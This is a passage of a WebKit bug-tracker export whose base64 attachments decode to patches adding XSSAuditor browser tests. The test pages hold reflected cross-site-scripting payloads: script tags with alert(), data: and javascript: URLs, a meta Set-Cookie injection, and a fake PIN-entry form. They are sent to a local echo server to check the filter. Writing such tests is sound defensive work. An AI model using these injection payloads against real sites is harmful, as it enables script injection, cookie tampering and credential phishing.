PgpkaWZmIC0tZ2l0IGEvTGF5b3V0VGVzdHMvaHR0cC90ZXN0cy9zZWN1cml0eS94c3NBdWRpdG9y
L3NjcmlwdC10YWctd2l0aC1pbnZhbGlkLXVybC1lbmNvZGluZy1leHBlY3RlZC50eHQgYi9MYXlv
dXRUZXN0cy9odHRwL3Rlc3RzL3NlY3VyaXR5L3hzc0F1ZGl0b3Ivc2NyaXB0LXRhZy13aXRoLWlu
dmFsaWQtdXJsLWVuY29kaW5nLWV4cGVjdGVkLnR4dApuZXcgZmlsZSBtb2RlIDEwMDY0NAppbmRl
eCAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwLi41MTNlMmY4ZDAzZjc0
MjAzYTM1ZTBiZWVkMWZkNDNiNDMyOTJkYzJmCi0tLSAvZGV2L251bGwKKysrIGIvTGF5b3V0VGVz
dHMvaHR0cC90ZXN0cy9zZWN1cml0eS94c3NBdWRpdG9yL3NjcmlwdC10YWctd2l0aC1pbnZhbGlk
LXVybC1lbmNvZGluZy1leHBlY3RlZC50eHQKQEAgLTAsMCArMSwzIEBACitDT05TT0xFIE1FU1NB
R0U6IGxpbmUgMTogUmVmdXNlZCB0byBleGVjdXRlIGEgSmF2YVNjcmlwdCBzY3JpcHQuIFNvdXJj
ZSBjb2RlIG9mIHNjcmlwdCBmb3VuZCB3aXRoaW4gcmVxdWVzdC4KKworCmRpZmYgLS1naXQgYS9M
YXlvdXRUZXN0cy9odHRwL3Rlc3RzL3NlY3VyaXR5L3hzc0F1ZGl0b3Ivc2NyaXB0LXRhZy13aXRo
LWludmFsaWQtdXJsLWVuY29kaW5nLmh0bWwgYi9MYXlvdXRUZXN0cy9odHRwL3Rlc3RzL3NlY3Vy
aXR5L3hzc0F1ZGl0b3Ivc2NyaXB0LXRhZy13aXRoLWludmFsaWQtdXJsLWVuY29kaW5nLmh0bWwK
bmV3IGZpbGUgbW9kZSAxMDA2NDQKaW5kZXggMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAw
MDAwMDAwMDAwMC4uOWJmYjBiNTBhZDBiOWE0MTc1MzdjNWMzZjA0MGEwMjFhN2E1YTk2OQotLS0g
L2Rldi9udWxsCisrKyBiL0xheW91dFRlc3RzL2h0dHAvdGVzdHMvc2VjdXJpdHkveHNzQXVkaXRv
ci9zY3JpcHQtdGFnLXdpdGgtaW52YWxpZC11cmwtZW5jb2RpbmcuaHRtbApAQCAtMCwwICsxLDE1
IEBACis8IURPQ1RZUEUgaHRtbD4KKzxodG1sPgorPGhlYWQ+Cis8c2NyaXB0PgoraWYgKHdpbmRv
dy5sYXlvdXRUZXN0Q29udHJvbGxlcikgeworICBsYXlvdXRUZXN0Q29udHJvbGxlci5kdW1wQXNU
ZXh0KCk7CisgIGxheW91dFRlc3RDb250cm9sbGVyLnNldFhTU0F1ZGl0b3JFbmFibGVkKHRydWUp
OworfQorPC9zY3JpcHQ+Cis8L2hlYWQ+Cis8Ym9keT4KKzxpZnJhbWUgc3JjPSJodHRwOi8vbG9j
YWxob3N0OjgwMDAvc2VjdXJpdHkveHNzQXVkaXRvci9yZXNvdXJjZXMvZWNoby1pbnRlcnRhZy5w
bD9xPTxzY3JpcHQ+YWxlcnQoL1hTUyUvKTwvc2NyaXB0PiI+Cis8L2lmcmFtZT4KKzwvYm9keT4K
KzwvaHRtbD4KZGlmZiAtLWdpdCBhL0xheW91dFRlc3RzL2h0dHAvdGVzdHMvc2VjdXJpdHkveHNz
QXVkaXRvci9zY3JpcHQtdGFnLXdpdGgtc291cmNlLWRhdGEtdXJsLWV4cGVjdGVkLnR4dCBiL0xh
eW91dFRlc3RzL2h0dHAvdGVzdHMvc2VjdXJpdHkveHNzQXVkaXRvci9zY3JpcHQtdGFnLXdpdGgt
c291cmNlLWRhdGEtdXJsLWV4cGVjdGVkLnR4dApuZXcgZmlsZSBtb2RlIDEwMDY0NAppbmRleCAw
MDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwLi41MTNlMmY4ZDAzZjc0MjAz
YTM1ZTBiZWVkMWZkNDNiNDMyOTJkYzJmCi0tLSAvZGV2L251bGwKKysrIGIvTGF5b3V0VGVzdHMv
aHR0cC90ZXN0cy9zZWN1cml0eS94c3NBdWRpdG9yL3NjcmlwdC10YWctd2l0aC1zb3VyY2UtZGF0
YS11cmwtZXhwZWN0ZWQudHh0CkBAIC0wLDAgKzEsMyBAQAorQ09OU09MRSBNRVNTQUdFOiBsaW5l
IDE6IFJlZnVzZWQgdG8gZXhlY3V0ZSBhIEphdmFTY3JpcHQgc2NyaXB0LiBTb3VyY2UgY29kZSBv
ZiBzY3JpcHQgZm91bmQgd2l0aGluIHJlcXVlc3QuCisKKwpkaWZmIC0tZ2l0IGEvTGF5b3V0VGVz
dHMvaHR0cC90ZXN0cy9zZWN1cml0eS94c3NBdWRpdG9yL3NjcmlwdC10YWctd2l0aC1zb3VyY2Ut
ZGF0YS11cmwuaHRtbCBiL0xheW91dFRlc3RzL2h0dHAvdGVzdHMvc2VjdXJpdHkveHNzQXVkaXRv
ci9zY3JpcHQtdGFnLXdpdGgtc291cmNlLWRhdGEtdXJsLmh0bWwKbmV3IGZpbGUgbW9kZSAxMDA2
NDQKaW5kZXggMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMC4uNWYyY2E4
ZjAwMjRjMTg2Nzc2YjIzZWYxNzRhMjM2NDYyZjUzNzU4OQotLS0gL2Rldi9udWxsCisrKyBiL0xh
eW91dFRlc3RzL2h0dHAvdGVzdHMvc2VjdXJpdHkveHNzQXVkaXRvci9zY3JpcHQtdGFnLXdpdGgt
c291cmNlLWRhdGEtdXJsLmh0bWwKQEAgLTAsMCArMSwxNSBAQAorPCFET0NUWVBFIGh0bWw+Cis8
aHRtbD4KKzxoZWFkPgorPHNjcmlwdD4KK2lmICh3aW5kb3cubGF5b3V0VGVzdENvbnRyb2xsZXIp
IHsKKyAgbGF5b3V0VGVzdENvbnRyb2xsZXIuZHVtcEFzVGV4dCgpOworICBsYXlvdXRUZXN0Q29u
dHJvbGxlci5zZXRYU1NBdWRpdG9yRW5hYmxlZCh0cnVlKTsKK30KKzwvc2NyaXB0PgorPC9oZWFk
PgorPGJvZHk+Cis8aWZyYW1lIHNyYz0iaHR0cDovL2xvY2FsaG9zdDo4MDAwL3NlY3VyaXR5L3hz
c0F1ZGl0b3IvcmVzb3VyY2VzL2VjaG8taW50ZXJ0YWcucGw/cT08c2NyaXB0JTIwc3JjPSUyMmRh
dGE6LGFsZXJ0KDEpJTIyIj4KKzwvaWZyYW1lPgorPC9ib2R5PgorPC9odG1sPgo=
</data>

          </attachment>
          <attachment
              isobsolete="0"
              ispatch="1"
              isprivate="0"
          >
            <attachid>82699</attachid>
            <date>2011-02-16 14:35:02 -0800</date>
            <delta_ts>2011-02-16 19:05:59 -0800</delta_ts>
            <desc>Patch</desc>
            <filename>bug-54576-20110216143500.patch</filename>
            <type>text/plain</type>
            <size>20261</size>
            <attacher name="Adam Barth">abarth</attacher>
            
              <data encoding="base64">U3VidmVyc2lvbiBSZXZpc2lvbjogNzg3MjUKZGlmZiAtLWdpdCBhL0xheW91dFRlc3RzL0NoYW5n
ZUxvZyBiL0xheW91dFRlc3RzL0NoYW5nZUxvZwppbmRleCA2NjI3ZmIwYTYzZWRjYjE5ZTdjOWUx
ZTRhYmZiOWE5MzcxNjMwNzM0Li4zODg1NGNiYmZkNmQ5OWI1MzUzZDc0ZWM1ZGY1ZTQ2MjE4Y2I0
MjM3IDEwMDY0NAotLS0gYS9MYXlvdXRUZXN0cy9DaGFuZ2VMb2cKKysrIGIvTGF5b3V0VGVzdHMv
Q2hhbmdlTG9nCkBAIC0xLDMgKzEsNTQgQEAKKzIwMTEtMDItMTYgIEFkYW0gQmFydGggIDxhYmFy
dGhAd2Via2l0Lm9yZz4KKworICAgICAgICBSZXZpZXdlZCBieSBOT0JPRFkgKE9PUFMhKS4KKwor
ICAgICAgICBJbXBvcnQgWFNTQXVkaXRvciB0ZXN0cyBmcm9tIERhdmlkIFJvc3MKKyAgICAgICAg
aHR0cHM6Ly9idWdzLndlYmtpdC5vcmcvc2hvd19idWcuY2dpP2lkPTU0NTc2CisKKyAgICAgICAg
TWFueSBvZiB0aGVzZSB0ZXN0cyBwYXNzLCBidXQgc29tZSBvZiB0aGVtIGZhaWwgYXMgd2VsbC4g
IEknbGwgZml4IHRoZQorICAgICAgICBmYWlsaW5nIHRlc3RzIGluIGZvbGxvd3VwIHBhdGNoZXMu
CisKKyAgICAgICAgKiBodHRwL3Rlc3RzL3NlY3VyaXR5L3hzc0F1ZGl0b3IvY29va2llLWluamVj
dGlvbi1leHBlY3RlZC50eHQ6IEFkZGVkLgorICAgICAgICAqIGh0dHAvdGVzdHMvc2VjdXJpdHkv
eHNzQXVkaXRvci9jb29raWUtaW5qZWN0aW9uLmh0bWw6IEFkZGVkLgorICAgICAgICAgICAgLSBX
ZSdyZSBmaW5lIGhlcmUuCisgICAgICAgICogaHR0cC90ZXN0cy9zZWN1cml0eS94c3NBdWRpdG9y
L2Zvcm0tYWN0aW9uLWV4cGVjdGVkLnR4dDogQWRkZWQuCisgICAgICAgICogaHR0cC90ZXN0cy9z
ZWN1cml0eS94c3NBdWRpdG9yL2Zvcm0tYWN0aW9uLmh0bWw6IEFkZGVkLgorICAgICAgICAgICAg
LSBXZSBuZWVkIHRvIGZpbHRlciBmb3JtIGFjdGlvbnMuICBQcmV2aW91c2x5LCB3ZSBjb25zaWRl
cmVkIHRoaXMKKyAgICAgICAgICAgICAgaXNzdWUgb3V0IG9mIHNjb3BlLCBidXQgd2Ugc2hvdWxk
IGJlIGFibGUgdG8gaGFuZGxlIGl0LgorICAgICAgICAqIGh0dHAvdGVzdHMvc2VjdXJpdHkveHNz
QXVkaXRvci9pZnJhbWUtaW5qZWN0aW9uLWV4cGVjdGVkLnR4dDogQWRkZWQuCisgICAgICAgICog
aHR0cC90ZXN0cy9zZWN1cml0eS94c3NBdWRpdG9yL2lmcmFtZS1pbmplY3Rpb24uaHRtbDogQWRk
ZWQuCisgICAgICAgICAgICAtIFdlIG5lZWQgdG8gZmlsdGVyIGlmcmFtZSBzcmMgYXR0cmlidXRl
cy4gIFByZXZpb3VzbHksIHdlCisgICAgICAgICAgICAgIGNvbnNpZGVyZWQgdGhpcyBpc3N1ZSBv
dXQgb2Ygc2NvcGUsIGJ1dCB3ZSBzaG91bGQgYmUgYWJsZSB0bworICAgICAgICAgICAgICBoYW5k
bGUgaXQuCisgICAgICAgICogaHR0cC90ZXN0cy9zZWN1cml0eS94c3NBdWRpdG9yL2lmcmFtZS1q
YXZhc2NyaXB0LXVybC1tb3JlLWVuY29kaW5nLWV4cGVjdGVkLnR4dDogQWRkZWQuCisgICAgICAg
ICogaHR0cC90ZXN0cy9zZWN1cml0eS94c3NBdWRpdG9yL2lmcmFtZS1qYXZhc2NyaXB0LXVybC1t
b3JlLWVuY29kaW5nLmh0bWw6IEFkZGVkLgorICAgICAgICAgICAgLSBXZSdyZSBmaW5lIGhlcmUu
CisgICAgICAgICogaHR0cC90ZXN0cy9zZWN1cml0eS94c3NBdWRpdG9yL2phdmFzY3JpcHQtbGlu
ay1vbmUtcGx1cy1vbmUtZXhwZWN0ZWQudHh0OiBBZGRlZC4KKyAgICAgICAgKiBodHRwL3Rlc3Rz
L3NlY3VyaXR5L3hzc0F1ZGl0b3IvamF2YXNjcmlwdC1saW5rLW9uZS1wbHVzLW9uZS5odG1sOiBB
ZGRlZC4KKyAgICAgICAgICAgIC0gV2UncmUgZmluZSBoZXJlLgorICAgICAgICAqIGh0dHAvdGVz
dHMvc2VjdXJpdHkveHNzQXVkaXRvci9vcGVuLWF0dHJpYnV0ZS1ib2R5LWV4cGVjdGVkLnR4dDog
QWRkZWQuCisgICAgICAgICogaHR0cC90ZXN0cy9zZWN1cml0eS94c3NBdWRpdG9yL29wZW4tYXR0
cmlidXRlLWJvZHkuaHRtbDogQWRkZWQuCisgICAgICAgICogaHR0cC90ZXN0cy9zZWN1cml0eS94
c3NBdWRpdG9yL29wZW4tZXZlbnQtaGFuZGxlci1pZnJhbWUtZXhwZWN0ZWQudHh0OiBBZGRlZC4K
KyAgICAgICAgKiBodHRwL3Rlc3RzL3NlY3VyaXR5L3hzc0F1ZGl0b3Ivb3Blbi1ldmVudC1oYW5k
bGVyLWlmcmFtZS5odG1sOiBBZGRlZC4KKyAgICAgICAgKiBodHRwL3Rlc3RzL3NlY3VyaXR5L3hz
c0F1ZGl0b3Ivb3Blbi1pZnJhbWUtc3JjLWV4cGVjdGVkLnR4dDogQWRkZWQuCisgICAgICAgICog
aHR0cC90ZXN0cy9zZWN1cml0eS94c3NBdWRpdG9yL29wZW4taWZyYW1lLXNyYy5odG1sOiBBZGRl
ZC4KKyAgICAgICAgKiBodHRwL3Rlc3RzL3NlY3VyaXR5L3hzc0F1ZGl0b3Ivb3Blbi1zY3JpcHQt
c3JjLWV4cGVjdGVkLnR4dDogQWRkZWQuCisgICAgICAgICogaHR0cC90ZXN0cy9zZWN1cml0eS94
c3NBdWRpdG9yL29wZW4tc2NyaXB0LXNyYy5odG1sOiBBZGRlZC4KKyAgICAgICAgICAgIC0gVGhl
c2UgYXJlIGFsbCB0aGUgc2FtZSBjbGFzcyBvZiBpc3N1ZS4gIE5vdyB0aGF0IHdlJ3ZlCisgICAg
ICAgICAgICAgIHJlLWRlc2lnbmVkIHRoZSBmaWx0ZXIsIHdlIHNob3VsZCBiZSBhYmxlIHRvIGFk
ZHJlc3MgdGhpcyBpc3N1ZS4KKyAgICAgICAgKiBodHRwL3Rlc3RzL3NlY3VyaXR5L3hzc0F1ZGl0
b3IvcmVzb3VyY2VzL2VjaG8taW5zcGFuLnBsOiBBZGRlZC4KKyAgICAgICAgKiBodHRwL3Rlc3Rz
L3NlY3VyaXR5L3hzc0F1ZGl0b3IvcmVzb3VyY2VzL2VjaG8taW50ZXJ0YWcucGw6CisgICAgICAg
ICAgICAtIFRlc3RzIGluZnJhc3RydWN0dXJlIGltcHJvdmVtZW50cy4KKyAgICAgICAgKiBodHRw
L3Rlc3RzL3NlY3VyaXR5L3hzc0F1ZGl0b3Ivc2NyaXB0LXRhZy13aXRoLWZhbmN5LXVuaWNvZGUt
ZXhwZWN0ZWQudHh0OiBBZGRlZC4KKyAgICAgICAgKiBodHRwL3Rlc3RzL3NlY3VyaXR5L3hzc0F1
ZGl0b3Ivc2NyaXB0LXRhZy13aXRoLWZhbmN5LXVuaWNvZGUuaHRtbDogQWRkZWQuCisgICAgICAg
ICAgICAtIEknbSBub3Qgc3VyZSB3aGF0J3MgZ29pbmcgb24gaGVyZS4gIFJlcXVpcmVzIGZ1dGhl
ciBpbnZlc3RpZ2F0aW9uLgorICAgICAgICAqIGh0dHAvdGVzdHMvc2VjdXJpdHkveHNzQXVkaXRv
ci9zY3JpcHQtdGFnLXdpdGgtaW52YWxpZC11cmwtZW5jb2RpbmctZXhwZWN0ZWQudHh0OiBBZGRl
ZC4KKyAgICAgICAgKiBodHRwL3Rlc3RzL3NlY3VyaXR5L3hzc0F1ZGl0b3Ivc2NyaXB0LXRhZy13
aXRoLWludmFsaWQtdXJsLWVuY29kaW5nLmh0bWw6IEFkZGVkLgorICAgICAgICAgICAgLSBXZSdy
ZSBmaW5lIGhlcmUuCisgICAgICAgICogaHR0cC90ZXN0cy9zZWN1cml0eS94c3NBdWRpdG9yL3Nj
cmlwdC10YWctd2l0aC1zb3VyY2UtZGF0YS11cmwtZXhwZWN0ZWQudHh0OiBBZGRlZC4KKyAgICAg
ICAgKiBodHRwL3Rlc3RzL3NlY3VyaXR5L3hzc0F1ZGl0b3Ivc2NyaXB0LXRhZy13aXRoLXNvdXJj
ZS1kYXRhLXVybC5odG1sOiBBZGRlZC4KKyAgICAgICAgICAgIC0gV2UncmUgZmluZSBoZXJlLgor
CiAyMDExLTAyLTE2ICBOaWtvbGFzIFppbW1lcm1hbm4gIDxuemltbWVybWFubkByaW0uY29tPgog
CiAgICAgICAgIE5vdCByZXZpZXdlZC4KZGlmZiAtLWdpdCBhL0xheW91dFRlc3RzL2h0dHAvdGVz
dHMvc2VjdXJpdHkveHNzQXVkaXRvci9jb29raWUtaW5qZWN0aW9uLWV4cGVjdGVkLnR4dCBiL0xh
eW91dFRlc3RzL2h0dHAvdGVzdHMvc2VjdXJpdHkveHNzQXVkaXRvci9jb29raWUtaW5qZWN0aW9u
LWV4cGVjdGVkLnR4dApuZXcgZmlsZSBtb2RlIDEwMDY0NAppbmRleCAwMDAwMDAwMDAwMDAwMDAw
MDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwLi4wZTAwZmQ0OTJjMTJmMWM0ZGFmN2MyYzI5M2IwOTgz
Y2UwZDllOTYwCi0tLSAvZGV2L251bGwKKysrIGIvTGF5b3V0VGVzdHMvaHR0cC90ZXN0cy9zZWN1
cml0eS94c3NBdWRpdG9yL2Nvb2tpZS1pbmplY3Rpb24tZXhwZWN0ZWQudHh0CkBAIC0wLDAgKzEs
NCBAQAorQ09OU09MRSBNRVNTQUdFOiBsaW5lIDE6IFJlZnVzZWQgdG8gZXhlY3V0ZSBhIEphdmFT
Y3JpcHQgc2NyaXB0LiBTb3VyY2UgY29kZSBvZiBzY3JpcHQgZm91bmQgd2l0aGluIHJlcXVlc3Qu
CisKK0FMRVJUOiBjb29raWU6IAorCmRpZmYgLS1naXQgYS9MYXlvdXRUZXN0cy9odHRwL3Rlc3Rz
L3NlY3VyaXR5L3hzc0F1ZGl0b3IvY29va2llLWluamVjdGlvbi5odG1sIGIvTGF5b3V0VGVzdHMv
aHR0cC90ZXN0cy9zZWN1cml0eS94c3NBdWRpdG9yL2Nvb2tpZS1pbmplY3Rpb24uaHRtbApuZXcg
ZmlsZSBtb2RlIDEwMDY0NAppbmRleCAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAw
MDAwMDAwLi5mMjUwYzllMzQ1Y2Y1MmE3YzQ3ZGY2MDhjNjBiYzg0ZTlmMmU2Njc0Ci0tLSAvZGV2
L251bGwKKysrIGIvTGF5b3V0VGVzdHMvaHR0cC90ZXN0cy9zZWN1cml0eS94c3NBdWRpdG9yL2Nv
b2tpZS1pbmplY3Rpb24uaHRtbApAQCAtMCwwICsxLDE1IEBACis8IURPQ1RZUEUgaHRtbD4KKzxo
dG1sPgorPGhlYWQ+Cis8c2NyaXB0PgoraWYgKHdpbmRvdy5sYXlvdXRUZXN0Q29udHJvbGxlcikg
eworICBsYXlvdXRUZXN0Q29udHJvbGxlci5kdW1wQXNUZXh0KCk7CisgIGxheW91dFRlc3RDb250
cm9sbGVyLnNldFhTU0F1ZGl0b3JFbmFibGVkKHRydWUpOworfQorPC9zY3JpcHQ+Cis8L2hlYWQ+
Cis8Ym9keT4KKzxpZnJhbWUgc3JjPSJodHRwOi8vbG9jYWxob3N0OjgwMDAvc2VjdXJpdHkveHNz
QXVkaXRvci9yZXNvdXJjZXMvZWNoby1pbnRlcnRhZy5wbD9hbGVydC1jb29raWU9MSZxPTxtZXRh
JTIwaHR0cC1lcXVpdj0lMjJTZXQtQ29va2llJTIyJTIwY29udGVudD0lMjJ0ZXN0Y29va2llPUZB
SUwlMjIlMjAvPiI+PC9pZnJhbWU+Cis8L2lmcmFtZT4KKzwvYm9keT4KKzwvaHRtbD4KZGlmZiAt
LWdpdCBhL0xheW91dFRlc3RzL2h0dHAvdGVzdHMvc2VjdXJpdHkveHNzQXVkaXRvci9mb3JtLWFj
dGlvbi1leHBlY3RlZC50eHQgYi9MYXlvdXRUZXN0cy9odHRwL3Rlc3RzL3NlY3VyaXR5L3hzc0F1
ZGl0b3IvZm9ybS1hY3Rpb24tZXhwZWN0ZWQudHh0Cm5ldyBmaWxlIG1vZGUgMTAwNjQ0CmluZGV4
IDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAuLjhiMTM3ODkxNzkxZmU5
NjkyN2FkNzhlNjRiMGFhZDdiZGVkMDhiZGMKLS0tIC9kZXYvbnVsbAorKysgYi9MYXlvdXRUZXN0
cy9odHRwL3Rlc3RzL3NlY3VyaXR5L3hzc0F1ZGl0b3IvZm9ybS1hY3Rpb24tZXhwZWN0ZWQudHh0
CkBAIC0wLDAgKzEgQEAKKwpkaWZmIC0tZ2l0IGEvTGF5b3V0VGVzdHMvaHR0cC90ZXN0cy9zZWN1
cml0eS94c3NBdWRpdG9yL2Zvcm0tYWN0aW9uLmh0bWwgYi9MYXlvdXRUZXN0cy9odHRwL3Rlc3Rz
L3NlY3VyaXR5L3hzc0F1ZGl0b3IvZm9ybS1hY3Rpb24uaHRtbApuZXcgZmlsZSBtb2RlIDEwMDY0
NAppbmRleCAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwLi44ZTlkOGU4
YWMwYTAwMjk5ZWZjMTc3MDJiY2Y0Y2VhNWJhYzUxNDljCi0tLSAvZGV2L251bGwKKysrIGIvTGF5
b3V0VGVzdHMvaHR0cC90ZXN0cy9zZWN1cml0eS94c3NBdWRpdG9yL2Zvcm0tYWN0aW9uLmh0bWwK
QEAgLTAsMCArMSwxNSBAQAorPCFET0NUWVBFIGh0bWw+Cis8aHRtbD4KKzxoZWFkPgorPHNjcmlw
dD4KK2lmICh3aW5kb3cubGF5b3V0VGVzdENvbnRyb2xsZXIpIHsKKyAgbGF5b3V0VGVzdENvbnRy
b2xsZXIuZHVtcEFzVGV4dCgpOworICBsYXlvdXRUZXN0Q29udHJvbGxlci5zZXRYU1NBdWRpdG9y
RW5hYmxlZCh0cnVlKTsKK30KKzwvc2NyaXB0PgorPC9oZWFkPgorPGJvZHk+Cis8aWZyYW1lIHNy
Yz0iaHR0cDovL2xvY2FsaG9zdDo4MDAwL3NlY3VyaXR5L3hzc0F1ZGl0b3IvcmVzb3VyY2VzL2Vj
aG8taW50ZXJ0YWcucGw/cT08Zm9ybSUyMGFjdGlvbj1odHRwOi8vMTI3LjAuMC4xOjgwMDAvJTIw
bWV0aG9kPXg+PGlucHV0JTIwdHlwZT1zdWJtaXQ+PGlucHV0JTIwbmFtZT14JTIwdmFsdWU9J1Bs
ZWFzZSUyMHR5cGUlMjB5b3VyJTIwUElOLic+Ij4KKzwvaWZyYW1lPgorPC9ib2R5PgorPC9odG1s
PgpkaWZmIC0tZ2l0IGEvTGF5b3V0VGVzdHMvaHR0cC90ZXN0cy9zZWN1cml0eS94c3NBdWRpdG9y
L2lmcmFtZS1pbmplY3Rpb24tZXhwZWN0ZWQudHh0IGIvTGF5b3V0VGVzdHMvaHR0cC90ZXN0cy9z
ZWN1cml0eS94c3NBdWRpdG9yL2lmcmFtZS1pbmplY3Rpb24tZXhwZWN0ZWQudHh0Cm5ldyBmaWxl
IG1vZGUgMTAwNjQ0CmluZGV4IDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAw
MDAuLjhiMTM3ODkxNzkxZmU5NjkyN2FkNzhlNjRiMGFhZDdiZGVkMDhiZGMKLS0tIC9kZXYvbnVs
bAorKysgYi9MYXlvdXRUZXN0cy9odHRwL3Rlc3RzL3NlY3VyaXR5L3hzc0F1ZGl0b3IvaWZyYW1l
LWluamVjdGlvbi1leHBlY3RlZC50eHQKQEAgLTAsMCArMSBAQAorCmRpZmYgLS1naXQgYS9MYXlv
dXRUZXN0cy9odHRwL3Rlc3RzL3NlY3VyaXR5L3hzc0F1ZGl0b3IvaWZyYW1lLWluamVjdGlvbi5o
dG1sIGIvTGF5b3V0VGVzdHMvaHR0cC90ZXN0cy9zZWN1cml0eS94c3NBdWRpdG9yL2lmcmFtZS1p
bmplY3Rpb24uaHRtbApuZXcgZmlsZSBtb2RlIDEwMDY0NAppbmRleCAwMDAwMDAwMDAwMDAwMDAw
MDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwLi43YjZlMGM4NDZiZjgwMDZmZTVjNDU0M2JmN2EzYjZh
MGFiMzBhM2E0Ci0tLSAvZGV2L251bGwKKysrIGIvTGF5b3V0VGVzdHMvaHR0cC90ZXN0cy9zZWN1
cml0eS94c3NBdWRpdG9yL2lmcmFtZS1pbmplY3Rpb24uaHRtbApAQCAtMCwwICsxLDE1IEBACis8
IURPQ1RZUEUgaHRtbD4KKzxodG1sPgorPGhlYWQ+Cis8c2NyaXB0PgoraWYgKHdpbmRvdy5sYXlv
dXRUZXN0Q29udHJvbGxlcikgeworICBsYXlvdXRUZXN0Q29udHJvbGxlci5kdW1wQXNUZXh0KCk7
CisgIGxheW91dFRlc3RDb250cm9sbGVyLnNldFhTU0F1ZGl0b3JFbmFibGVkKHRydWUpOworfQor
PC9zY3JpcHQ+Cis8L2hlYWQ+Cis8Ym9keT4KKzxpZnJhbWUgc3JjPSJodHRwOi8vbG9jYWxob3N0
OjgwMDAvc2VjdXJpdHkveHNzQXVkaXRvci9yZXNvdXJjZXMvZWNoby1pbnRlcnRhZy5wbD9xPTxp
ZnJhbWUlMjBzcmM9J2h0dHA6Ly8xMjcuMC4wLjE6ODAwMC8nPjwvaWZyYW1lPiI+Cis8L2lmcmFt
ZT4KKzwvYm9keT4KKzwvaHRtbD4KZGlmZiAtLWdpdCBhL0xheW91dFRlc3RzL2h0dHAvdGVzdHMv
c2VjdXJpdHkveHNzQXVkaXRvci9pZnJhbWUtamF2YXNjcmlwdC11cmwtbW9yZS1lbmNvZGluZy1l
eHBlY3RlZC50eHQgYi9MYXlvdXRUZXN0cy9odHRwL3Rlc3RzL3NlY3VyaXR5L3hzc0F1ZGl0b3Iv
aWZyYW1lLWphdmFzY3JpcHQtdXJsLW1vcmUtZW5jb2RpbmctZXhwZWN0ZWQudHh0Cm5ldyBmaWxl
IG1vZGUgMTAwNjQ0CmluZGV4IDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAw
MDAuLjUxM2UyZjhkMDNmNzQyMDNhMzVlMGJlZWQxZmQ0M2I0MzI5MmRjMmYKLS0tIC9kZXYvbnVs
bAorKysgYi9MYXlvdXRUZXN0cy9odHRwL3Rlc3RzL3NlY3VyaXR5L3hzc0F1ZGl0b3IvaWZyYW1l
LWphdmFzY3JpcHQtdXJsLW1vcmUtZW5jb2RpbmctZXhwZWN0ZWQudHh0CkBAIC0wLDAgKzEsMyBA
QAorQ09OU09MRSBNRVNTQUdFOiBsaW5lIDE6IFJlZnVzZWQgdG8gZXhlY3V0ZSBhIEphdmFTY3Jp
cHQgc2NyaXB0LiBTb3VyY2UgY29kZSBvZiBzY3JpcHQgZm91bmQgd2l0aGluIHJlcXVlc3QuCisK
KwpkaWZmIC0tZ2l0IGEvTGF5b3V0VGVzdHMvaHR0cC90ZXN0cy9zZWN1cml0eS94c3NBdWRpdG9y
L2lmcmFtZS1qYXZhc2NyaXB0LXVybC1tb3JlLWVuY29kaW5nLmh0bWwgYi9MYXlvdXRUZXN0cy9o
dHRwL3Rlc3RzL3NlY3VyaXR5L3hzc0F1ZGl0b3IvaWZyYW1lLWphdmFzY3JpcHQtdXJsLW1vcmUt
ZW5jb2RpbmcuaHRtbApuZXcgZmlsZSBtb2RlIDEwMDY0NAppbmRleCAwMDAwMDAwMDAwMDAwMDAw
MDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwLi4wMGMzYjFiMmMxZDQ5ZGYwZWNlZWVjOWM0MjMxZWRj
OWM2NTlmOTc2Ci0tLSAvZGV2L251bGwKKysrIGIvTGF5b3V0VGVzdHMvaHR0cC90ZXN0cy9zZWN1
cml0eS94c3NBdWRpdG9yL2lmcmFtZS1qYXZhc2NyaXB0LXVybC1tb3JlLWVuY29kaW5nLmh0bWwK
QEAgLTAsMCArMSwxNSBAQAorPCFET0NUWVBFIGh0bWw+Cis8aHRtbD4KKzxoZWFkPgorPHNjcmlw
dD4KK2lmICh3aW5kb3cubGF5b3V0VGVzdENvbnRyb2xsZXIpIHsKKyAgbGF5b3V0VGVzdENvbnRy
b2xsZXIuZHVtcEFzVGV4dCgpOworICBsYXlvdXRUZXN0Q29udHJvbGxlci5zZXRYU1NBdWRpdG9y
RW5hYmxlZCh0cnVlKTsKK30KKzwvc2NyaXB0PgorPC9oZWFkPgorPGJvZHk+Cis8aWZyYW1lIHNy
Yz0iaHR0cDovL2xvY2FsaG9zdDo4MDAwL3NlY3VyaXR5L3hzc0F1ZGl0b3IvcmVzb3VyY2VzL2Vj
aG8taW50ZXJ0YWcucGw/cT08SUZSQU1FJTIwc3JjPSdqYXZhc2NyaXB0OmFsZXJ0JTI2JTIzeDI1
JTNCMjgxKSc+IjwvaWZyYW1lPgorPC9pZnJhbWU+Cis8L2JvZHk+Cis8L2h0bWw+CmRpZmYgLS1n
aXQgYS9MYXlvdXRUZXN0cy9odHRwL3Rlc3RzL3NlY3VyaXR5L3hzc0F1ZGl0b3IvamF2YXNjcmlw
dC1saW5rLW9uZS1wbHVzLW9uZS1leHBlY3RlZC50eHQgYi9MYXlvdXRUZXN0cy9odHRwL3Rlc3Rz
L3NlY3VyaXR5L3hzc0F1ZGl0b3IvamF2YXNjcmlwdC1saW5rLW9uZS1wbHVzLW9uZS1leHBlY3Rl
ZC50eHQKbmV3IGZpbGUgbW9kZSAxMDA2NDQKaW5kZXggMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAw
MDAwMDAwMDAwMDAwMDAwMC4uNTEzZTJmOGQwM2Y3NDIwM2EzNWUwYmVlZDFmZDQzYjQzMjkyZGMy
